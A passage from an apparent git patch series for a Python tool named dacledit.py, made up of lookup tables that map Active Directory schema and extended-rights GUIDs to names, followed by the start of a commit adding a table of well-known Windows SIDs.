'6366c0c1-6972-4e66-b3a5-1d52ad0c0547': 'ms-WMI-Author', + 'ba305f6a-47e3-11d0-a1a6-00c04fd930c9': 'Print-Notify', + 'ef9a2df0-2e57-48c8-8950-0cc674004733': 'msSFU-30-Search-Attributes', + '9a0dc346-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-Link', + '5b47d60f-6090-40b2-9f37-2a4de88f3063': 'ms-DS-Key-Credential-Link', + 'bf967961-0de6-11d0-a285-00aa003049e2': 'E-mail-Addresses', + '6f17e347-a842-4498-b8b3-15e007da4fed': 'ms-DS-Has-Domain-NCs', + 'f9cdf7a0-ec44-4937-a79b-cd91522b3aa8': 'ms-WMI-ChangeDate', + '3bcbfcf4-4d3d-11d0-a1a6-00c04fd930c9': 'Print-Number-Up', + 'e167b0b6-4045-4433-ac35-53f972d45cba': 'msSFU-30-Result-Attributes', + 'bf967a81-0de6-11d0-a285-00aa003049e2': 'Builtin-Domain', + '8e4eb2ec-4712-11d0-a1a0-00c04fd930c9': 'EFSPolicy', + 'ae2de0e2-59d7-4d47-8d47-ed4dfe4357ad': 'ms-DS-Has-Master-NCs', + '90c1925f-4a24-4b07-b202-be32eb3c8b74': 'ms-WMI-Class', + '281416d0-1968-11d0-a28f-00aa003049e2': 'Print-Orientations-Supported', + 'b7b16e01-024f-4e23-ad0d-71f1a406b684': 'msSFU-30-Map-Filter', + '19195a60-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Connection', + 'f2699093-f25a-4220-9deb-03df4cc4a9c5': 'Dns-Zone-Scope-Container', + 'bf967962-0de6-11d0-a285-00aa003049e2': 'Employee-ID', + '80641043-15a2-40e1-92a2-8ca866f70776': 'ms-DS-Host-Service-Account', + '2b9c0ebc-c272-45cb-99d2-4d0e691632e0': 'ms-WMI-ClassDefinition', + 'ba305f69-47e3-11d0-a1a6-00c04fd930c9': 'Print-Owner', + '4cc908a2-9e18-410e-8459-f17cc422020a': 'msSFU-30-Master-Server-Name', + '7d6c0e9d-7e20-11d0-afd6-00c04fd930c9': 'Category-Registration', + 'a8df73ef-c5ea-11d1-bbcb-0080c76670c0': 'Employee-Number', + '79abe4eb-88f3-48e7-89d6-f4bc7e98c331': 'ms-DS-Host-Service-Account-BL', + '748b0a2e-3351-4b3f-b171-2f17414ea779': 'ms-WMI-CreationDate', + '19405b97-3cfa-11d1-a9c0-0000f80367c1': 'Print-Pages-Per-Minute', + '02625f05-d1ee-4f9f-b366-55266becb95c': 'msSFU-30-Order-Number', + 'f0f8ffab-1191-11d0-a060-00aa006c33ed': 'NTDS-DSA', + '696f8a61-2d3f-40ce-a4b3-e275dfcc49c5': 'Dns-Zone-Scope', + 'a8df73f0-c5ea-11d1-bbcb-0080c76670c0': 'Employee-Type', + '7bc64cea-c04e-4318-b102-3e0729371a65': 'ms-DS-Integer', + '50c8673a-8f56-4614-9308-9e1340fb9af3': 'ms-WMI-Genus', + 'ba305f77-47e3-11d0-a1a6-00c04fd930c9': 'Print-Rate', + '16c5d1d3-35c2-4061-a870-a5cefda804f0': 'msSFU-30-Name', + '3fdfee50-47f4-11d1-a9c3-0000f80367c1': 'Certification-Authority', + 'a8df73f2-c5ea-11d1-bbcb-0080c76670c0': 'Enabled', + 'bc60096a-1b47-4b30-8877-602c93f56532': 'ms-DS-IntId', + '9339a803-94b8-47f7-9123-a853b9ff7e45': 'ms-WMI-ID', + 'ba305f78-47e3-11d0-a1a6-00c04fd930c9': 'Print-Rate-Unit', + '20ebf171-c69a-4c31-b29d-dcb837d8912d': 'msSFU-30-Aliases', + '85d16ec1-0791-4bc8-8ab3-70980602ff8c': 'NTDS-DSA-RO', + 'e0fa1e8c-9b45-11d0-afdd-00c04fd930c9': 'Dns-Node', + 'bf967963-0de6-11d0-a285-00aa003049e2': 'Enabled-Connection', + '6fabdcda-8c53-204f-b1a4-9df0c67c1eb4': 'ms-DS-Is-Possible-Values-Present', + '1b0c07f8-76dd-4060-a1e1-70084619dc90': 'ms-WMI-intDefault', + '281416c6-1968-11d0-a28f-00aa003049e2': 'Print-Separator-File', + '37830235-e5e9-46f2-922b-d8d44f03e7ae': 'msSFU-30-Key-Values', + 'bf967a82-0de6-11d0-a285-00aa003049e2': 'Class-Registration', + '3417ab48-df24-4fb1-80b0-0fcb367e25e3': 'ms-DS-Expire-Passwords-On-Smart-Card-Only-Accounts', + '2a39c5b3-8960-11d1-aebc-0000f80367c1': 'Enrollment-Providers', + '1df5cf33-0fe5-499e-90e1-e94b42718a46': 'ms-DS-isGC', + '18e006b9-6445-48e3-9dcf-b5ecfbc4df8e': 'ms-WMI-intFlags1', + 'ba305f68-47e3-11d0-a1a6-00c04fd930c9': 'Print-Share-Name', + '9ee3b2e3-c7f3-45f8-8c9f-1382be4984d2': 'msSFU-30-Nis-Domain', + '19195a5f-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Service', + '65650576-4699-4fc9-8d18-26e0cd0137a6': 'ms-DS-Token-Group-Names', + 'd213decc-d81a-4384-aac2-dcfcfd631cf8': 'Entry-TTL', + 'a8e8aa23-3e67-4af1-9d7a-2f1a1d633ac9': 'ms-DS-isRODC', + '075a42c9-c55a-45b1-ac93-eb086b31f610': 'ms-WMI-intFlags2', + 'ba305f6c-47e3-11d0-a1a6-00c04fd930c9': 'Print-Spooling', + '93095ed3-6f30-4bdd-b734-65d569f5f7c9': 'msSFU-30-Domains', + 'fa06d1f4-7922-4aad-b79c-b2201f54417c': 'ms-DS-Token-Group-Names-Global-And-Universal', + '9a7ad947-ca53-11d1-bbd0-0080c76670c0': 'Extended-Attribute-Info', + '8ab15858-683e-466d-877f-d640e1f9a611': 'ms-DS-Last-Known-RDN', + 'f29fa736-de09-4be4-b23a-e734c124bacc': 'ms-WMI-intFlags3', + 'ba305f73-47e3-11d0-a1a6-00c04fd930c9': 'Print-Stapling-Supported', + '084a944b-e150-4bfe-9345-40e1aedaebba': 'msSFU-30-Yp-Servers', + 'bf967a84-0de6-11d0-a285-00aa003049e2': 'Class-Store', + '19195a5d-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Site-Settings', + '523fc6c8-9af4-4a02-9cd7-3dea129eeb27': 'ms-DS-Token-Group-Names-No-GC-Acceptable', + 'bf967966-0de6-11d0-a285-00aa003049e2': 'Extended-Chars-Allowed', + 'c523e9c0-33b5-4ac8-8923-b57b927f42f6': 'ms-DS-KeyVersionNumber', + 'bd74a7ac-c493-4c9c-bdfa-5c7b119ca6b2': 'ms-WMI-intFlags4', + '281416c9-1968-11d0-a28f-00aa003049e2': 'Print-Start-Time', + '04ee6aa6-f83b-469a-bf5a-3c00d3634669': 'msSFU-30-Max-Gid-Number', + '9a7ad948-ca53-11d1-bbd0-0080c76670c0': 'Extended-Class-Info', + 'ad7940f8-e43a-4a42-83bc-d688e59ea605': 'ms-DS-Logon-Time-Sync-Interval', + 'fb920c2c-f294-4426-8ac1-d24b42aa2bce': 'ms-WMI-intMax', + 'ba305f6b-47e3-11d0-a1a6-00c04fd930c9': 'Print-Status', + 'ec998437-d944-4a28-8500-217588adfc75': 'msSFU-30-Max-Uid-Number', + 'bf967a85-0de6-11d0-a285-00aa003049e2': 'Com-Connection-Point', + '2a132586-9373-11d1-aebc-0000f80367c1': 'NTFRS-Member', + 'bf967ab0-0de6-11d0-a285-00aa003049e2': 'Security-Principal', + 'bf967972-0de6-11d0-a285-00aa003049e2': 'Extension-Name', + '60234769-4819-4615-a1b2-49d2f119acb5': 'ms-DS-Mastered-By', + '68c2e3ba-9837-4c70-98e0-f0c33695d023': 'ms-WMI-intMin', + '244b296e-5abd-11d0-afd2-00c04fd930c9': 'Printer-Name', + '585c9d5e-f599-4f07-9cf9-4373af4b89d3': 'msSFU-30-NSMAP-Field-Position', + '7ece040f-9327-4cdc-aad3-037adfe62639': 'ms-DS-User-Allowed-NTLM-Network-Authentication', + 'd24e2846-1dd9-4bcf-99d7-a6227cc86da7': 'Extra-Columns', + 'fdd337f5-4999-4fce-b252-8ff9c9b43875': 'ms-DS-Maximum-Password-Age', + '6af565f6-a749-4b72-9634-3c5d47e6b4e0': 'ms-WMI-intValidValues', + 'bf967a01-0de6-11d0-a285-00aa003049e2': 'Prior-Set-Time', + 'c875d82d-2848-4cec-bb50-3c5486d09d57': 'msSFU-30-Posix-Member', + 'bf967a86-0de6-11d0-a285-00aa003049e2': 'Computer', + '5245803a-ca6a-11d0-afff-0000f80367c1': 'NTFRS-Replica-Set', + '278947b9-5222-435e-96b7-1503858c2b48': 'ms-DS-Service-Allowed-NTLM-Network-Authentication', + 'bf967974-0de6-11d0-a285-00aa003049e2': 'Facsimile-Telephone-Number', + '2a74f878-4d9c-49f9-97b3-6767d1cbd9a3': 'ms-DS-Minimum-Password-Age', + 'f4d8085a-8c5b-4785-959b-dc585566e445': 'ms-WMI-int8Default', + 'bf967a02-0de6-11d0-a285-00aa003049e2': 'Prior-Value', + '7bd76b92-3244-438a-ada6-24f5ea34381e': 'msSFU-30-Posix-Member-Of', + 'aacd2170-482a-44c6-b66e-42c2f66a285c': 'ms-DS-Strong-NTLM-Policy', + 'd9e18315-8939-11d1-aebc-0000f80367c1': 'File-Ext-Priority', + 'b21b3439-4c3a-441c-bb5f-08f20e9b315e': 'ms-DS-Minimum-Password-Length', + 'e3d8b547-003d-4946-a32b-dc7cedc96b74': 'ms-WMI-int8Max', + '281416c7-1968-11d0-a28f-00aa003049e2': 'Priority', + '97d2bf65-0466-4852-a25a-ec20f57ee36c': 'msSFU-30-Netgroup-Host-At-Domain', + 'bf967a87-0de6-11d0-a285-00aa003049e2': 'Configuration', + 'f780acc2-56f0-11d1-a9c6-0000f80367c1': 'NTFRS-Settings', + 'bf967976-0de6-11d0-a285-00aa003049e2': 'Flags', + 'f9c9a57c-3941-438d-bebf-0edaf2aca187': 'ms-DS-OIDToGroup-Link', + 'ed1489d1-54cc-4066-b368-a00daa2664f1': 'ms-WMI-int8Min', + 'bf967a03-0de6-11d0-a285-00aa003049e2': 'Private-Key', + 'a9e84eed-e630-4b67-b4b3-cad2a82d345e': 'msSFU-30-Netgroup-User-At-Domain', + 'ab6a1156-4dc7-40f5-9180-8e4ce42fe5cd': 'ms-DS-AuthN-Policy', + 'b7b13117-b82e-11d0-afee-0000f80367c1': 'Flat-Name', + '1a3d0d20-5844-4199-ad25-0f5039a76ada': 'ms-DS-OIDToGroup-Link-BL', + '103519a9-c002-441b-981a-b0b3e012c803': 'ms-WMI-int8ValidValues', + '19405b9a-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Attributes', + '0dea42f5-278d-4157-b4a7-49b59664915b': 'msSFU-30-Is-Valid-Container', + '5cb41ecf-0e4c-11d0-a286-00aa003049e2': 'Connection-Point', + '2a132588-9373-11d1-aebc-0000f80367c1': 'NTFRS-Subscriber', + 'b002f407-1340-41eb-bca0-bd7d938e25a9': 'ms-DS-Source-Anchor', + 'bf967977-0de6-11d0-a285-00aa003049e2': 'Force-Logoff', + 'fed81bb7-768c-4c2f-9641-2245de34794d': 'ms-DS-Password-History-Length', + '6736809f-2064-443e-a145-81262b1f1366': 'ms-WMI-Mof', + '19405b98-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Display-Name', + '4503d2a3-3d70-41b8-b077-dff123c15865': 'msSFU-30-Crypt-Method', + '5cb41ed0-0e4c-11d0-a286-00aa003049e2': 'Contact', + '34f6bdf5-2e79-4c3b-8e14-3d93b75aab89': 'ms-DS-Object-SOA', + '3e97891e-8c01-11d0-afda-00c04fd930c9': 'Foreign-Identifier', + 'db68054b-c9c3-4bf0-b15b-0fb52552a610': 'ms-DS-Password-Complexity-Enabled', + 'c6c8ace5-7e81-42af-ad72-77412c5941c4': 'ms-WMI-Name', + '19405b9b-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Holder', + 'e65c30db-316c-4060-a3a0-387b083f09cd': 'ms-TS-Profile-Path', + 'bf967aa7-0de6-11d0-a285-00aa003049e2': 'Person', + '2a132587-9373-11d1-aebc-0000f80367c1': 'NTFRS-Subscriptions', + '7bfdcb88-4807-11d1-a9c3-0000f80367c1': 'Friendly-Names', + '75ccdd8f-af6c-4487-bb4b-69e4d38a959c': 'ms-DS-Password-Reversible-Encryption-Enabled', + 'eaba628f-eb8e-4fe9-83fc-693be695559b': 'ms-WMI-NormalizedClass', + '19405b99-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Value', + '5d3510f0-c4e7-4122-b91f-a20add90e246': 'ms-TS-Home-Directory', + 'bf967ab7-0de6-11d0-a285-00aa003049e2': 'Top', + '9a7ad949-ca53-11d1-bbd0-0080c76670c0': 'From-Entry', + '94f2800c-531f-4aeb-975d-48ac39fd8ca4': 'ms-DS-Local-Effective-Deletion-Time', + '27e81485-b1b0-4a8b-bedd-ce19a837e26e': 'ms-WMI-Parm1', + 'd9e18317-8939-11d1-aebc-0000f80367c1': 'Product-Code', + '5f0a24d9-dffa-4cd9-acbf-a0680c03731e': 'ms-TS-Home-Drive', + 'bf967a8b-0de6-11d0-a285-00aa003049e2': 'Container', + 'bf967aa3-0de6-11d0-a285-00aa003049e2': 'Organization', + 'bf967979-0de6-11d0-a285-00aa003049e2': 'From-Server', + '4ad6016b-b0d2-4c9b-93b6-5964b17b968c': 'ms-DS-Local-Effective-Recycle-Time', + '0003508e-9c42-4a76-a8f4-38bf64bab0de': 'ms-WMI-Parm2', + 'bf967a05-0de6-11d0-a285-00aa003049e2': 'Profile-Path', + '3a0cd464-bc54-40e7-93ae-a646a6ecc4b4': 'ms-TS-Allow-Logon', + 'bf967aa4-0de6-11d0-a285-00aa003049e2': 'Organizational-Person', + 'bf967a90-0de6-11d0-a285-00aa003049e2': 'Sam-Domain', + '2a132578-9373-11d1-aebc-0000f80367c1': 'Frs-Computer-Reference', + 'b05bda89-76af-468a-b892-1be55558ecc8': 'ms-DS-Lockout-Observation-Window', + '45958fb6-52bd-48ce-9f9f-c2712d9f2bfc': 'ms-WMI-Parm3', + 'e1aea402-cd5b-11d0-afff-0000f80367c1': 'Proxied-Object-Name', + '15177226-8642-468b-8c48-03ddfd004982': 'ms-TS-Remote-Control', + '8297931e-86d3-11d0-afda-00c04fd930c9': 'Control-Access-Right', + '2a132579-9373-11d1-aebc-0000f80367c1': 'Frs-Computer-Reference-BL', + '421f889a-472e-4fe4-8eb9-e1d0bc6071b2': 'ms-DS-Lockout-Duration', + '3800d5a3-f1ce-4b82-a59a-1528ea795f59': 'ms-WMI-Parm4', + 'bf967a06-0de6-11d0-a285-00aa003049e2': 'Proxy-Addresses', + '326f7089-53d8-4784-b814-46d8535110d2': 'ms-TS-Max-Disconnection-Time', + 'a8df74bf-c5ea-11d1-bbcb-0080c76670c0': 'Organizational-Role', + '2a13257a-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Data-Creation', + 'b8c8c35e-4a19-4a95-99d0-69fe4446286f': 'ms-DS-Lockout-Threshold', + 'ab920883-e7f8-4d72-b4a0-c0449897509d': 'ms-WMI-PropertyName', + '5fd424d6-1262-11d0-a060-00aa006c33ed': 'Proxy-Generation-Enabled', + '1d960ee2-6464-4e95-a781-e3b5cd5f9588': 'ms-TS-Max-Connection-Time', + 'bf967a8c-0de6-11d0-a285-00aa003049e2': 'Country', + '2a13257b-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Inbound-Backlog', + '64c80f48-cdd2-4881-a86d-4e97b6f561fc': 'ms-DS-PSO-Applies-To', + '65fff93e-35e3-45a3-85ae-876c6718297f': 'ms-WMI-Query', + 'bf967a07-0de6-11d0-a285-00aa003049e2': 'Proxy-Lifetime', + 'ff739e9c-6bb7-460e-b221-e250f3de0f95': 'ms-TS-Max-Idle-Time', + 'bf967aa5-0de6-11d0-a285-00aa003049e2': 'Organizational-Unit', + '2a13257c-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Outbound-Backlog', + '5e6cf031-bda8-43c8-aca4-8fee4127005b': 'ms-DS-PSO-Applied', + '7d3cfa98-c17b-4254-8bd7-4de9b932a345': 'ms-WMI-QueryLanguage', + '80a67e28-9f22-11d0-afdd-00c04fd930c9': 'Public-Key-Policy', + '366ed7ca-3e18-4c7f-abae-351a01e4b4f7': 'ms-TS-Reconnection-Action', + '167758ca-47f3-11d1-a9c3-0000f80367c1': 'CRL-Distribution-Point', + '1be8f171-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Directory-Filter', + 'eadd3dfe-ae0e-4cc2-b9b9-5fe5b6ed2dd2': 'ms-DS-Required-Domain-Behavior-Version', + '87b78d51-405f-4b7f-80ed-2bd28786f48d': 'ms-WMI-ScopeGuid', + 'b4b54e50-943a-11d1-aebd-0000f80367c1': 'Purported-Search', + '1cf41bba-5604-463e-94d6-1a1287b72ca3': 'ms-TS-Broken-Connection-Action', + 'bf967aa6-0de6-11d0-a285-00aa003049e2': 'Package-Registration', + '1be8f177-a9ff-11d0-afe2-00c04fd930c9': 'FRS-DS-Poll', + '4beca2e8-a653-41b2-8fee-721575474bec': 'ms-DS-Required-Forest-Behavior-Version', + '34f7ed6c-615d-418d-aa00-549a7d7be03e': 'ms-WMI-SourceOrganization', + 'bf967a09-0de6-11d0-a285-00aa003049e2': 'Pwd-History-Length', + '23572aaf-29dd-44ea-b0fa-7e8438b9a4a3': 'ms-TS-Connect-Client-Drives', + 'bf967a8d-0de6-11d0-a285-00aa003049e2': 'Cross-Ref', + '52458020-ca6a-11d0-afff-0000f80367c1': 'FRS-Extensions', + 'b77ea093-88d0-4780-9a98-911f8e8b1dca': 'ms-DS-Resultant-PSO', + '152e42b6-37c5-4f55-ab48-1606384a9aea': 'ms-WMI-stringDefault', + 'bf967a0a-0de6-11d0-a285-00aa003049e2': 'Pwd-Last-Set', + '8ce6a937-871b-4c92-b285-d99d4036681c': 'ms-TS-Connect-Printer-Drives', + '1be8f178-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Fault-Condition', + '456374ac-1f0a-4617-93cf-bc55a7c9d341': 'ms-DS-Password-Settings-Precedence', + '37609d31-a2bf-4b58-8f53-2b64e57a076d': 'ms-WMI-stringValidValues', + 'bf967a0b-0de6-11d0-a285-00aa003049e2': 'Pwd-Properties', + 'c0ffe2bd-cacf-4dc7-88d5-61e9e95766f6': 'ms-TS-Default-To-Main-Printer', + 'ef9e60e0-56f7-11d1-a9c6-0000f80367c1': 'Cross-Ref-Container', + 'b7b13122-b82e-11d0-afee-0000f80367c1': 'Physical-Location', + '1be8f170-a9ff-11d0-afe2-00c04fd930c9': 'FRS-File-Filter', + 'd1e169a4-ebe9-49bf-8fcb-8aef3874592d': 'ms-DS-Max-Values', + '95b6d8d6-c9e8-4661-a2bc-6a5cabc04c62': 'ms-WMI-TargetClass', + '80a67e4e-9f22-11d0-afdd-00c04fd930c9': 'Quality-Of-Service', + 'a744f666-3d3c-4cc8-834b-9d4f6f687b8b': 'ms-TS-Work-Directory', + '2a13257d-9373-11d1-aebc-0000f80367c1': 'FRS-Flags', + 'cbf7e6cd-85a4-4314-8939-8bfe80597835': 'ms-DS-Members-For-Az-Role', + '1c4ab61f-3420-44e5-849d-8b5dbf60feb7': 'ms-WMI-TargetNameSpace', + 'cbf70a26-7e78-11d2-9921-0000f87a57d4': 'Query-Filter', + '9201ac6f-1d69-4dfb-802e-d95510109599': 'ms-TS-Initial-Program', + 'bf967a8e-0de6-11d0-a285-00aa003049e2': 'Device', + 'e5209ca2-3bba-11d2-90cc-00c04fd91ab1': 'PKI-Certificate-Template', + '5245801e-ca6a-11d0-afff-0000f80367c1': 'FRS-Level-Limit', + 'ececcd20-a7e0-4688-9ccf-02ece5e287f5': 'ms-DS-Members-For-Az-Role-BL', + 'c44f67a5-7de5-4a1f-92d9-662b57364b77': 'ms-WMI-TargetObject', + 'e1aea404-cd5b-11d0-afff-0000f80367c1': 'Query-Policy-BL', + '40e1c407-4344-40f3-ab43-3625a34a63a2': 'ms-TS-Endpoint-Data', + '2a13257e-9373-11d1-aebc-0000f80367c1': 'FRS-Member-Reference', + '5a2eacd7-cc2b-48cf-9d9a-b6f1a0024de9': 'ms-DS-NC-Type', + '5006a79a-6bfe-4561-9f52-13cf4dd3e560': 'ms-WMI-TargetPath', + 'e1aea403-cd5b-11d0-afff-0000f80367c1': 'Query-Policy-Object', + '377ade80-e2d8-46c5-9bcd-6d9dec93b35e': 'ms-TS-Endpoint-Type', + '8447f9f2-1027-11d0-a05f-00aa006c33ed': 'Dfs-Configuration', + 'ee4aa692-3bba-11d2-90cc-00c04fd91ab1': 'PKI-Enrollment-Service', + '2a13257f-9373-11d1-aebc-0000f80367c1': 'FRS-Member-Reference-BL', + 'cafcb1de-f23c-46b5-adf7-1e64957bd5db': 'ms-DS-Non-Members', + 'ca2a281e-262b-4ff7-b419-bc123352a4e9': 'ms-WMI-TargetType', + '7bfdcb86-4807-11d1-a9c3-0000f80367c1': 'QueryPoint', + '3c08b569-801f-4158-b17b-e363d6ae696a': 'ms-TS-Endpoint-Plugin', +} + + +EXTENDED_RIGHTS = { + 'ab721a52-1e2f-11d0-9819-00aa0040529b': 'Domain-Administer-Server', + 'ab721a53-1e2f-11d0-9819-00aa0040529b': 'User-Change-Password', + '00299570-246d-11d0-a768-00aa006e0529': 'User-Force-Change-Password', + 'ab721a55-1e2f-11d0-9819-00aa0040529b': 'Send-To', + 'c7407360-20bf-11d0-a768-00aa006e0529': 'Domain-Password', + '59ba2f42-79a2-11d0-9020-00c04fc2d3cf': 'General-Information', + '4c164200-20c0-11d0-a768-00aa006e0529': 'User-Account-Restrictions', + '5f202010-79a5-11d0-9020-00c04fc2d4cf': 'User-Logon', + 'bc0ac240-79a9-11d0-9020-00c04fc2d4cf': 'Membership', + 'a1990816-4298-11d1-ade2-00c04fd8d5cd': 'Open-Address-Book', + 'e45795b2-9455-11d1-aebd-0000f80367c1': 'Email-Information', + 'e45795b3-9455-11d1-aebd-0000f80367c1': 'Web-Information', + '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Get-Changes', + '1131f6ab-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Synchronize', + '1131f6ac-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Manage-Topology', + 'e12b56b6-0a95-11d1-adbb-00c04fd8d5cd': 'Change-Schema-Master', + 'd58d5f36-0a98-11d1-adbb-00c04fd8d5cd': 'Change-Rid-Master', + 'fec364e0-0a98-11d1-adbb-00c04fd8d5cd': 'Do-Garbage-Collection', + '0bc1554e-0a99-11d1-adbb-00c04fd8d5cd': 'Recalculate-Hierarchy', + '1abd7cf8-0a99-11d1-adbb-00c04fd8d5cd': 'Allocate-Rids', + 'bae50096-4752-11d1-9052-00c04fc2d4cf': 'Change-PDC', + '440820ad-65b4-11d1-a3da-0000f875ae0d': 'Add-GUID', + '014bf69c-7b3b-11d1-85f6-08002be74fab': 'Change-Domain-Master', + '4b6e08c0-df3c-11d1-9c86-006008764d0e': 'msmq-Receive-Dead-Letter', + '4b6e08c1-df3c-11d1-9c86-006008764d0e': 'msmq-Peek-Dead-Letter', + '4b6e08c2-df3c-11d1-9c86-006008764d0e': 'msmq-Receive-computer-Journal', + '4b6e08c3-df3c-11d1-9c86-006008764d0e': 'msmq-Peek-computer-Journal', + '06bd3200-df3e-11d1-9c86-006008764d0e': 'msmq-Receive', + '06bd3201-df3e-11d1-9c86-006008764d0e': 'msmq-Peek', + '06bd3202-df3e-11d1-9c86-006008764d0e': 'msmq-Send', + '06bd3203-df3e-11d1-9c86-006008764d0e': 'msmq-Receive-journal', + 'b4e60130-df3f-11d1-9c86-006008764d0e': 'msmq-Open-Connector', + 'edacfd8f-ffb3-11d1-b41d-00a0c968f939': 'Apply-Group-Policy', + '037088f8-0ae1-11d2-b422-00a0c968f939': 'RAS-Information', + '9923a32a-3607-11d2-b9be-0000f87a36b2': 'DS-Install-Replica', + 'cc17b1fb-33d9-11d2-97d4-00c04fd8d5cd': 'Change-Infrastructure-Master', + 'be2bb760-7f46-11d2-b9ad-00c04f79f805': 'Update-Schema-Cache', + '62dd28a8-7f46-11d2-b9ad-00c04f79f805': 'Recalculate-Security-Inheritance', + '69ae6200-7f46-11d2-b9ad-00c04f79f805': 'DS-Check-Stale-Phantoms', + '0e10c968-78fb-11d2-90d4-00c04f79dc55': 'Certificate-Enrollment', + 'bf9679c0-0de6-11d0-a285-00aa003049e2': 'Self-Membership', + '72e39547-7b18-11d1-adef-00c04fd8d5cd': 'Validated-DNS-Host-Name', + 'b7b1b3dd-ab09-4242-9e30-9980e5d322f7': 'Generate-RSoP-Planning', + '9432c620-033c-4db7-8b58-14ef6d0bf477': 'Refresh-Group-Cache', + '91d67418-0135-4acc-8d79-c08e857cfbec': 'SAM-Enumerate-Entire-Domain', + 'b7b1b3de-ab09-4242-9e30-9980e5d322f7': 'Generate-RSoP-Logging', + 'b8119fd0-04f6-4762-ab7a-4986c76b3f9a': 'Domain-Other-Parameters', + 'e2a36dc9-ae17-47c3-b58b-be34c55ba633': 'Create-Inbound-Forest-Trust', + '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Get-Changes-All', + 'ba33815a-4f93-4c76-87f3-57574bff8109': 'Migrate-SID-History', + '45ec5156-db7e-47bb-b53f-dbeb2d03c40f': 'Reanimate-Tombstones', + '2f16c4a5-b98e-432c-952a-cb388ba33f2e': 'DS-Execute-Intentions-Script', + 'f98340fb-7c5b-4cdb-a00b-2ebdfa115a96': 'DS-Replication-Monitor-Topology', + '280f369c-67c7-438e-ae98-1d46f3c6f541': 'Update-Password-Not-Required-Bit', + 'ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501': 'Unexpire-Password', + '05c74c5e-4deb-43b4-bd9f-86664c2a7fd5': 'Enable-Per-User-Reversibly-Encrypted-Password', + '4ecc03fe-ffc0-4947-b630-eb672a8a9dbc': 'DS-Query-Self-Quota', + '91e647de-d96f-4b70-9557-d63ff4f3ccd8': 'Private-Information', + '1131f6ae-9c07-11d1-f79f-00c04fc2dcd2': 'Read-Only-Replication-Secret-Synchronization', + '5805bc62-bdc9-4428-a5e2-856a0f4c185e': 'Terminal-Server-License-Server', + '1a60ea8d-58a6-4b20-bcdc-fb71eb8a9ff8': 'Reload-SSL-Certificate', + '89e95b76-444d-4c62-991a-0facbeda640c': 'DS-Replication-Get-Changes-In-Filtered-Set', + '7726b9d5-a4b4-4288-a6b2-dce952e80a7f': 'Run-Protect-Admin-Groups-Task', + '7c0e2a7c-a419-48e4-a995-10180aad54dd': 'Manage-Optional-Features', + '3e0f7e18-2c7a-4c10-ba82-4d926db99a3e': 'DS-Clone-Domain-Controller', + 'd31a8757-2447-4545-8081-3bb610cacbf2': 'Validated-MS-DS-Behavior-Version', + '80863791-dbe9-4eb8-837e-7f0ab55d9ac7': 'Validated-MS-DS-Additional-DNS-Host-Name', + 'a05b8cc2-17bc-4802-a710-e7c15ab866a2': 'Certificate-AutoEnrollment', + '4125c71f-7fac-4ff0-bcb7-f09a41325286': 'DS-Set-Owner', + '88a9933e-e5c8-4f2a-9dd7-2527416b8092': 'DS-Bypass-Quota', + '084c93a2-620d-4879-a836-f0ae47de0e89': 'DS-Read-Partition-Secrets', + '94825a8d-b171-4116-8146-1e34d8f54401': 'DS-Write-Partition-Secrets', + '9b026da6-0d3c-465c-8bee-5199d7165cba': 'DS-Validated-Write-Computer', + 'ab721a54-1e2f-11d0-9819-00aa0040529b': 'Send-As', + 'ab721a56-1e2f-11d0-9819-00aa0040529b': 'Receive-As', + '77b5b886-944a-11d1-aebd-0000f80367c1': 'Personal-Information', + 'e48d0154-bcf8-11d1-8702-00c04fb96050': 'Public-Information', + 'f3a64788-5306-11d1-a9c5-0000f80367c1': 'Validated-SPN', + '68b1d179-0d15-4d4f-ab71-46152e79a7bc': 'Allowed-To-Authenticate', + 'ffa6f046-ca4b-4feb-b40d-04dfee722543': 'MS-TS-GatewayAccess', +} From 5a086e0e838af90669d0611f4ed3388be999e000 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Fri, 1 Apr 2022 16:42:36 +0200 Subject: [PATCH 103/163] Refactored some bits, read/write/remove fully functional --- examples/dacledit.py | 539 +++++++++++++++++++++++++------------------ 1 file changed, 314 insertions(+), 225 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index 7dbf85531..ff5d4cc79 100644 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -41,11 +41,90 @@ OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS) OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS) +WELL_KNOWN_SIDS = { + 'S-1-0': 'Null Authority', + 'S-1-0-0': 'Nobody', + 'S-1-1': 'World Authority', + 'S-1-1-0': 'Everyone', + 'S-1-2': 'Local Authority', + 'S-1-2-0': 'Local', + 'S-1-2-1': 'Console Logon', + 'S-1-3': 'Creator Authority', + 'S-1-3-0': 'Creator Owner', + 'S-1-3-1': 'Creator Group', + 'S-1-3-2': 'Creator Owner Server', + 'S-1-3-3': 'Creator Group Server', + 'S-1-3-4': 'Owner Rights', + 'S-1-5-80-0': 'All Services', + 'S-1-4': 'Non-unique Authority', + 'S-1-5': 'NT Authority', + 'S-1-5-1': 'Dialup', + 'S-1-5-2': 'Network', + 'S-1-5-3': 'Batch', + 'S-1-5-4': 'Interactive', + 'S-1-5-6': 'Service', + 'S-1-5-7': 'Anonymous', + 'S-1-5-8': 'Proxy', + 'S-1-5-9': 'Enterprise Domain Controllers', + 'S-1-5-10': 'Principal Self', + 'S-1-5-11': 'Authenticated Users', + 'S-1-5-12': 'Restricted Code', + 'S-1-5-13': 'Terminal Server Users', + 'S-1-5-14': 'Remote Interactive Logon', + 'S-1-5-15': 'This Organization', + 'S-1-5-17': 'This Organization', + 'S-1-5-18': 'Local System', 